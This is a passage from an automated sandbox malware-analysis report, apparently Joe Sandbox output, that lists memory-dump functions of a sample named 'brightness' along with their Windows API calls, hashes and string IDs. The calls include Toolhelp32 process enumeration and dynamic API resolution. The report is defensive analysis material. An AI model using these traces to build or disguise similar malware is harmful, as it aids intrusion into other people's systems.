                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AllocVirtual
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 4275171209-0
                                                                                                                                                          • Opcode ID: 23e727740dd29733409228201f154b12ec05dc850751659d98e234e648261104
                                                                                                                                                          • Instruction ID: d1255ad9d0b0f32b7ce5c0eab834f31f8de13ed642d339095fbebb1788b470f1
                                                                                                                                                          • Opcode Fuzzy Hash: 23e727740dd29733409228201f154b12ec05dc850751659d98e234e648261104
                                                                                                                                                          • Instruction Fuzzy Hash: 41F06DF8B563008FDB45DF799D64B117BD2F78A348F108579D609DB388E77584018B00
                                                                                                                                                          Function 028F1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,028F1FC1), ref: 028F16A4
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AllocVirtual
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 4275171209-0
                                                                                                                                                          • Opcode ID: feff9f2f4b63ad73efe192a1c68859b11218e902a1916260038517a40eae0e9a
                                                                                                                                                          • Instruction ID: 9946376a05d97941f6ca19765959df8b1f39c339b3bff8d8deff244df5f856a4
                                                                                                                                                          • Opcode Fuzzy Hash: feff9f2f4b63ad73efe192a1c68859b11218e902a1916260038517a40eae0e9a
                                                                                                                                                          • Instruction Fuzzy Hash: B1F090BAF84795ABE720DE5A9CA4F92BBE4FB50314F050139EA0C97340D770A8108B94
                                                                                                                                                          Function 028F16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,028F1FE4), ref: 028F1704
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: FreeVirtual
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 1263568516-0
                                                                                                                                                          • Opcode ID: 24e83d0a1d93352de9482254527315453a2bd10ffeaba28bb3f4dfe065572c5e
                                                                                                                                                          • Instruction ID: 9af4478a899cc7058746c64ca12153c503e81287d1a8c2a605519779c24f6c20
                                                                                                                                                          • Opcode Fuzzy Hash: 24e83d0a1d93352de9482254527315453a2bd10ffeaba28bb3f4dfe065572c5e
                                                                                                                                                          • Instruction Fuzzy Hash: DCE0867D300301EFD7505A7D5D88B12BBD8EB54654F144475F70DDB245D360E8108B60

                                                                                                                                                          Non-executed Functions

                                                                                                                                                          Function 0290A9D4 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,00000002,0290AC5B,?,?,0290ACED,00000000,0290ADC9), ref: 0290A9E8
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0290AA00
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 0290AA12
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 0290AA24
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0290AA36
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 0290AA48
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 0290AA5A
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Process32First), ref: 0290AA6C
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0290AA7E
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 0290AA90
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 0290AAA2
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Thread32First), ref: 0290AAB4
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0290AAC6
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Module32First), ref: 0290AAD8
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0290AAEA
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0290AAFC
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0290AB0E
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AddressProc$HandleModule
                                                                                                                                                          • String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
                                                                                                                                                          • API String ID: 667068680-597814768
                                                                                                                                                          • Opcode ID: d2f1cd2776fd719a7a008a2baf41a50b30a246d81b68762a40cbd7c814560e01
                                                                                                                                                          • Instruction ID: c4675db5576f02707833e11e93328a39fa951038ecc1bc2c27949361f83367a9
                                                                                                                                                          • Opcode Fuzzy Hash: d2f1cd2776fd719a7a008a2baf41a50b30a246d81b68762a40cbd7c814560e01
                                                                                                                                                          • Instruction Fuzzy Hash: 5031FCB8E84364DFEF50EBB898D4E2577EDAB55704B000A65A611CF285F678D410CF92
                                                                                                                                                          Function 028F5908 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,028F6C14,028F0000,0291E790), ref: 028F5925
                                                                                                                                                          • GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 028F593C
                                                                                                                                                          • lstrcpynA.KERNEL32(?,?,?), ref: 028F596C
                                                                                                                                                          • lstrcpynA.KERNEL32(?,?,?,kernel32.dll,028F6C14,028F0000,0291E790), ref: 028F59D0
                                                                                                                                                          • lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,028F6C14,028F0000,0291E790), ref: 028F5A06
                                                                                                                                                          • FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,028F6C14,028F0000,0291E790), ref: 028F5A19
                                                                                                                                                          • FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,028F6C14,028F0000,0291E790), ref: 028F5A2B
                                                                                                                                                          • lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,028F6C14,028F0000,0291E790), ref: 028F5A37
                                                                                                                                                          • lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,028F6C14,028F0000), ref: 028F5A6B
                                                                                                                                                          • lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,028F6C14), ref: 028F5A77
                                                                                                                                                          • lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 028F5A99
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
                                                                                                                                                          • String ID: GetLongPathNameA$\$kernel32.dll
                                                                                                                                                          • API String ID: 3245196872-1565342463
                                                                                                                                                          • Opcode ID: a070a852976cdbbf218550cc40c8bfccfb94d84779db8caf80dcb2c6c9187a87
                                                                                                                                                          • Instruction ID: ef55a9ec0b2ff20b532f2ff46533530a4c3731897ddfce763f107437defa55c1
                                                                                                                                                          • Opcode Fuzzy Hash: a070a852976cdbbf218550cc40c8bfccfb94d84779db8caf80dcb2c6c9187a87
                                                                                                                                                          • Instruction Fuzzy Hash: E3417D7DE00219EFDB50DBE8CC88ADEB3BDAF08340F4445A5A648E7241E7389B548F50
                                                                                                                                                          Function 028F5BD8 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 028F5BE8
                                                                                                                                                          • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 028F5BF5
                                                                                                                                                          • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 028F5BFB
                                                                                                                                                          • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 028F5C26
                                                                                                                                                          • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 028F5C6D
                                                                                                                                                          • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 028F5C7D
                                                                                                                                                          • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 028F5CA5
                                                                                                                                                          • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 028F5CB5
                                                                                                                                                          • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 028F5CDB
                                                                                                                                                          • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 028F5CEB
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
                                                                                                                                                          • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                                                          • API String ID: 1599918012-2375825460
                                                                                                                                                          • Opcode ID: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
                                                                                                                                                          • Instruction ID: 996d2483c06f923c6eb36d4cc1bbfc0eedac37928fba04891d7eb72a39e7f425
                                                                                                                                                          • Opcode Fuzzy Hash: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
                                                                                                                                                          • Instruction Fuzzy Hash: E631A77DE4026C6AFB65D6F8CC49FDE77ED9B04380F4401A19709E6181D7789E848FA1
                                                                                                                                                          Function 028F7FD4 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 028F7FF5
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: DiskFreeSpace
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 1705453755-0
                                                                                                                                                          • Opcode ID: 6da40a96276824e7acf15013fedfea5da185deed3b000be9258f4dab930fd872
                                                                                                                                                          • Instruction ID: 83818ab110c470f96b4b89bd2afd59ac9890b3d465d0212380afc60e89504758
                                                                                                                                                          • Opcode Fuzzy Hash: 6da40a96276824e7acf15013fedfea5da185deed3b000be9258f4dab930fd872
                                                                                                                                                          • Instruction Fuzzy Hash: BE1112B5E00209AF9B40CF9DC881DAFF7F9FFC9300B54C559A508E7254E6719A018B90
                                                                                                                                                          Function 028FA7C4 Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 028FA7E2
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: InfoLocale
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2299586839-0
                                                                                                                                                          • Opcode ID: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
                                                                                                                                                          • Instruction ID: 9ec6ec7235ab93aa76157bd7675512dbf8743d66c1b7baa8262d148cf78212bc
                                                                                                                                                          • Opcode Fuzzy Hash: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
                                                                                                                                                          • Instruction Fuzzy Hash: D3E0927D71421817D355A56C9C80EF6735D975C310F00426AAB09C7385FDE19E844AE5
                                                                                                                                                          Function 028FB78C Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetVersionExA.KERNEL32(?,0291D106,00000000,0291D11E), ref: 028FB79A
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Version
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 1889659487-0
                                                                                                                                                          • Opcode ID: d4e0daec3f88572f64d10e28bb358b5f31165eb693074d63009e82d5560ceb93
                                                                                                                                                          • Instruction ID: 51ccb443ca7eeda55df60f9067f3c0eabc9cdb8990eff9aa12aa5569b1325b34
                                                                                                                                                          • Opcode Fuzzy Hash: d4e0daec3f88572f64d10e28bb358b5f31165eb693074d63009e82d5560ceb93
                                                                                                                                                          • Instruction Fuzzy Hash: 69F0A4789483069FE394DF2AD44162677E9FF49754F004D29EAE8C7380E7349414CB52
                                                                                                                                                          Function 028FA810 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,028FBE72,00000000,028FC08B,?,?,00000000,00000000), ref: 028FA823
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: InfoLocale
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2299586839-0
                                                                                                                                                          • Opcode ID: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
                                                                                                                                                          • Instruction ID: e480340bbd255d984be7eb471b6dac566773aa263c4857e350bc6b9678db8914
                                                                                                                                                          • Opcode Fuzzy Hash: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
                                                                                                                                                          • Instruction Fuzzy Hash: 4AD05EAE31E2602AA214915A2D84DBB5BECCAC97B1F00413ABA8CC6101E2448C07DAB1
                                                                                                                                                          Function 028F920C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: LocalTime
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 481472006-0
                                                                                                                                                          • Opcode ID: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
                                                                                                                                                          • Instruction ID: 0fe0f4cc5d7b7ae31a642f954b9003fca811c02ef7d046c5f60acdabe37629f8
                                                                                                                                                          • Opcode Fuzzy Hash: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
                                                                                                                                                          • Instruction Fuzzy Hash: 11A01248404830418580331C0C0253431445810B20FC4874068F8842D1F91E01208193
                                                                                                                                                          Function 028F20C4 Relevance: .1, Instructions: 94COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                                                                                                                                          • Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
                                                                                                                                                          • Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                                                                                                                                          • Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290
                                                                                                                                                          Function 028FD294 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 028FD29D
                                                                                                                                                            • Part of subcall function 028FD268: GetProcAddress.KERNEL32(00000000), ref: 028FD281
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AddressHandleModuleProc
                                                                                                                                                          • String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
                                                                                                                                                          • API String ID: 1646373207-1918263038
                                                                                                                                                          • Opcode ID: 93e8174c2e8c58427c7f13207cab02d6f12c4a3cd1b81745f7961db8e26a4e45
                                                                                                                                                          • Instruction ID: 1e1cc4f41db43c194adddb8a7237f3dc33d7936abddff68d9adeecddee72a063
                                                                                                                                                          • Opcode Fuzzy Hash: 93e8174c2e8c58427c7f13207cab02d6f12c4a3cd1b81745f7961db8e26a4e45
                                                                                                                                                          • Instruction Fuzzy Hash: 73410E6DE8C30C5BD284AB6D741083BB7DED654B153A0461AFB04CB784FDB0FC598A6A
                                                                                                                                                          Function 02906ED8 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleA.KERNEL32(ole32.dll), ref: 02906EDE
